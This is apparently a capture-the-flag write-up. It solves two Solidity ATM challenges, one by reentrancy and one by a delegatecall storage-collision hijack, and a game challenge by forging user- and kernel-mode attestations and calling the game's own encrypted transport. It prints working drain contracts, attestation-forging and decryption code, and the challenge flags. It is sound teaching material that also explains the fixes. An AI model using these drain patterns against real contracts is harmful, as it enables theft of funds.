Level 1 - the ATM pays before it writes#

Here is the important part of the contract:

1
function withdrawPP() public {
2
    uint256 score = scores[msg.sender];
3
    require(score > 0, "Nothing to withdraw");
4
    (bool result, ) = msg.sender.call{value: score}("");   // <-- sends first
5
    require(result, "Transfer failed");
6
    scores[msg.sender] = 0;                                 // <-- zeroes after
7
}

This is a reentrancy bug, and it is as textbook as they come. The contract sends the ETH before it sets your score to 0. That order is the whole problem.

When the ATM sends me ETH with call, my contract’s receive() function runs. And at that exact moment my score is still there - the scores[msg.sender] = 0 line has not run yet. So from inside receive() I just call withdrawPP() again. Same score, same payout. I keep doing that until the ATM is empty.

My attacker contract does four things:

1. In the constructor, donate 1 ETH to myself so I have a score.
2. Call withdrawPP() once.
3. In receive(), if the ATM still has money, call withdrawPP() again.
4. When it’s all done, forward everything to my wallet.

1
contract Attack {
2
    IATM atm;
3
    address player;
4

5
    constructor(address _atm) payable {
6
        atm = IATM(_atm);
7
        player = msg.sender;
8
        atm.donatePP{value: 1 ether}(address(this));
9
    }
10

11
    function attack() external {
12
        atm.withdrawPP();
13
        (bool ok, ) = player.call{value: address(this).balance}("");
14
        require(ok);
15
    }
16

17
    receive() external payable {
18
        if (address(atm).balance >= 1 ether) atm.withdrawPP();
19
    }
20
}

Here is the loop as a picture. The score never gets zeroed until the very end, so every re-entry sees the same money:

1
flowchart TD
2
    A["attack() calls withdrawPP()"] --> B["score still 1 ETH, require passes"]
3
    B --> C["ATM sends 1 ETH to me"]
4
    C --> D["my receive() hook runs"]
5
    D --> E{"ATM balance at least 1 ETH?"}
6
    E -->|"yes: re-enter withdrawPP()"| B
7
    E -->|"no: ATM empty"| F["outer call returns; scores set to 0 at last"]
8
    F --> G["ATM balance = 0"]
9
    G --> H["isSolved() == true"]

The loop runs 10 times, the ATM hits 0, and isSolved() is true.

The fix is easy and famous: set the state before the external call. This ordering has a name - Checks, Effects, Interactions. Zero the score first, then send the money.

1
SEKAI{3Z_re3ntr4ncy_atTack5}

Level 2 - the “fixed” ATM#

Level 2 saw the reentrancy and added two defenses:

1. A noReentrancy lock, so you cannot re-enter withdrawPP().
2. A delegatecall to a separate helper contract that does the actual money transfer.

It looks safer. It is not. The two new pieces work together to make a bigger hole.

First, the storage layout. This is the key to everything:

1
        ATM storage                       Helper storage
2
        -----------                       --------------
3
slot 0   scores (mapping)         <->      id_number
4
slot 1   performancePointHelper   <->      atm        <-- same slot
5
slot 2   locked                   <->      helping

delegatecall runs the helper’s code but on the ATM’s storage. So when the helper writes to “its own slot 1” (atm), it is really writing to the ATM’s slot 1 (performancePointHelper). Same slot. This is a storage collision.

Now the second problem. The helper has this setter, with no access control at all:

1
function setATM(address _atm) public { atm = _atm; }   // writes slot 1

And the ATM’s fallback forwards almost any unknown function to the helper by delegatecall. It blocks only one function name (processWithdrawal). It does not block setATM.

Put those two facts together and the attack writes itself. I call atm.setATM(myEvilHelper). The ATM’s fallback forwards it to the helper by delegatecall. The helper runs atm = myEvilHelper, but on the ATM’s storage - so it overwrites performancePointHelper. Now the ATM points at my code.

After that, withdrawPP() delegatecalls into my helper. My helper does not bother re-entering. It just sends the whole balance in one call:

1
contract MaliciousHelper {
2
    // Called by delegatecall, so address(this) is the ATM.
3
    // That means address(this).balance is the ATM's full 10 ETH.
4
    function processWithdrawal(address payable recipient, uint256 amount)
5
        external returns (bool)
6
    {
7
        (bool ok, ) = recipient.call{value: address(this).balance}("");
8
        return ok;
9
    }
10
}

Here is the full hijack in one picture. Notice how the call goes through the ATM, so the write lands on the ATM’s storage, not the helper’s:

1
flowchart TD
2
    A["me: call atm.setATM(evilHelper)"] --> B["ATM fallback: selector is not processWithdrawal"]
3
    B --> C["delegatecall realHelper.setATM"]
4
    C --> D["helper runs 'atm = evilHelper', but on the ATM storage"]
5
    D --> E["ATM slot 1 performancePointHelper now = evilHelper"]
6
    E --> F["pointer hijacked"]
7
    F --> G["me: call atm.withdrawPP()"]
8
    G --> H["delegatecall into evilHelper"]
9
    H --> I["sends ALL 10 ETH to me"]
10
    I --> J["isSolved() == true"]

The noReentrancy lock is a red herring. I never re-enter anything. I drain it all in a single, clean, non-reentrant call. The lock guards the door I never use.

1
SEKAI{pr0xie5_4r3_h4rD_2_3t4k3}

The real lesson: the level-1 bug was never “where does the transfer happen.” It was “who controls the code that runs on my storage.” A delegatecall proxy needs storage isolation - pin the helper with immutable, use EIP-1967 slots, and never let an open setter touch a slot the proxy uses for its own pointers.

Small tooling note#

There was no Foundry on the box I was using. So I compiled both attacker contracts with py-solc-x (solc 0.8.20) and sent raw signed transactions with eth-account and web3.py. One thing that bit me: the constructor takes the ATM address, so I had to ABI-encode it (left-padded to 32 bytes) and glue it to the end of the deployment bytecode. Forget that and the deploy silently reverts with status 0 - no error, just failure. That cost me a few confused minutes.

Step 1 - the room key comes from a hash of the game#

The game hashes the first executable section of chibile.exe, using its virtual size (not the raw file size - that matters). Then it derives two keys from that hash:

1
GATE = b"CHIBILE-GATE-V1"
2
CPU_TEXT = b"GenuntelineI"
3

4
gate_key = HMAC_SHA256(GATE, text_hash + CPU_TEXT)
5
room_key = HMAC_SHA256(gate_key, b"secret-room")

That string GenuntelineI looks like a broken CPU vendor string (“GenuineIntel” scrambled). It is wrong on purpose. I kept it byte-for-byte. If I “fixed” the spelling, the HMAC would change and the chain would die.

Step 2 - two attestations, user-mode then kernel-mode#

The game makes a random 16-byte nonce. The DLL signs it (user-mode attestation), and the driver signs the DLL’s result plus the same nonce (kernel-mode attestation). The idea is that you cannot fake one without the other - they are chained.

The user-mode key mixes in the room key, a hash of the DLL’s own executable section, a baked-in key, and that same weird CPU string. The kernel key mixes the user-mode result with its own baked key:

1
def attestations(nonce: bytes):
2
    text_hash = executable_text_hash()
3
    gate_key = hmac256(GATE, text_hash + CPU_TEXT)
4
    room_key = hmac256(gate_key, b"secret-room")
5

6
    um_key = hmac256(GATE, room_key + EAC_EXEC_HASH + UM_BK + bytes(32) + CPU_TEXT)
7
    um_attest = hmac256(um_key, b"UM-ATTEST" + nonce)
8

9
    km_key = hmac256(GATE, um_attest + KM_BK)
10
    km_attest = hmac256(km_key, b"KM-ATTEST" + nonce)
11
    return um_attest, km_attest, room_key

Here I made my first real mistake. I assumed the DLL hashed the game’s .text section. It did not. To be sure, I wrote a small oracle: load the DLL, call its attestation function with a fixed nonce, then dump the executable section of every loaded module and hash each one until one matched the DLL’s output. The winner was the DLL’s own unpacked executable section - not the game’s. The oracle was far more reliable than reading the disassembly and guessing.

Step 3 - stop fighting the crypto, use the game’s own#

Every request is wrapped in a custom encrypted transport: a random AES key, a MAC key, a stream key, and a nonce, all sealed inside a 256-byte RSA-OAEP block, then the JSON XORed with an HMAC keystream and encrypted with AES-CBC.

I rebuilt this whole thing in Python. Every field matched the disassembly. The server still hung up on me. Why?

The embedded RSA public key was broken on purpose:

1
exponent = 0x5663cd
2
modulus  = 2048 bits, but even
3
gcd(exponent, modulus) = 33

That is not a valid RSA key. A normal Python RSA library can build the object if you turn off its checks, but the ciphertext it makes is not the ciphertext the server expects. Windows BCrypt handles this weird key in its own way, and matching that by hand would have been a rabbit hole.

So I stopped trying. Instead I called the game’s own transport function directly. I loaded chibile.exe under Wine, resolved its imports, and jumped to the transport routine at offset 0xA760, letting the real code do the RSA and AES for me:

1
transport_fn transport = (transport_fn)((uint8_t *)game + 0xA760);
2
int ok = transport(host, 1337, json, strlen(json), nonce, &output, &output_size);

The Python solver builds this little C helper with winegcc and calls it for both phases. This was the moment the whole challenge cracked open. The same attestation values that failed through my Python RSA went straight through when the game sent them.

Step 4 - decrypt the two secrets, then send them back#

Phase 1 returns two 12-character secrets, encrypted byte by byte. Both derive a key from a baked key and a random value, then build a per-byte keystream. The user secret uses an 8-bit left rotate; the kernel secret uses a right rotate plus an extra byte from the derived key:

1
def decrypt_secret(ciphertext, lh, bk, kernel):
2
    derived_key = hmac256(bk, lh)
3
    tag = b"KM-KS" if kernel else b"UM-KS"
4
    out = bytearray(len(ciphertext))
5
    for i, value in enumerate(ciphertext):
6
        block, pos = divmod(i, 32)
7
        ks = hmac256(derived_key, tag + struct.pack("<I", block))
8
        if kernel:
9
            out[i] = ror8(value ^ derived_key[(i * 7) % 32], 3) ^ ks[pos]
10
        else:
11
            out[i] = rol8(value ^ ks[pos], 3) ^ bk[pos]
12
    return out.decode()

The secrets change every session but always decode to 12 characters. One run gave me:

1
[+] user secret:   4LNYMKCQJDH4
2
[+] kernel secret: SUKSM3V9V5B4

I typed both back in a phase-2 request. The response started with the marker CBF2, and I expected the flag as text after it. Wrong again - the bytes started with 89 50 4e 47, the PNG signature. The server sent an image, not a string. I saved it, opened it, and the flag was written diagonally across Mikuuuu:

1
SEKAI{Th4nk5_F0R_Pl4y1ng_My_Chibi_G4m3_5t4y_tun3d_for_my_n3xt_0n3}

What I got wrong (so you don’t have to)#

• I hashed the game’s .text for the DLL attestation. It was the DLL’s own executable section. The runtime oracle fixed my guess.
• I rebuilt the entire encrypted transport in Python before realizing the malformed RSA key meant I should just call the game’s BCrypt path.
• I looked for a flag string after CBF2. It was a full PNG. Always check the actual bytes after a marker.
• I tested with fixed nonces and hit replay protection. Fresh random nonces made the solver repeatable.

The theme of the whole solve: when a program guards itself with weird, custom crypto, sometimes the cleanest attack is to let the program run its own code for you.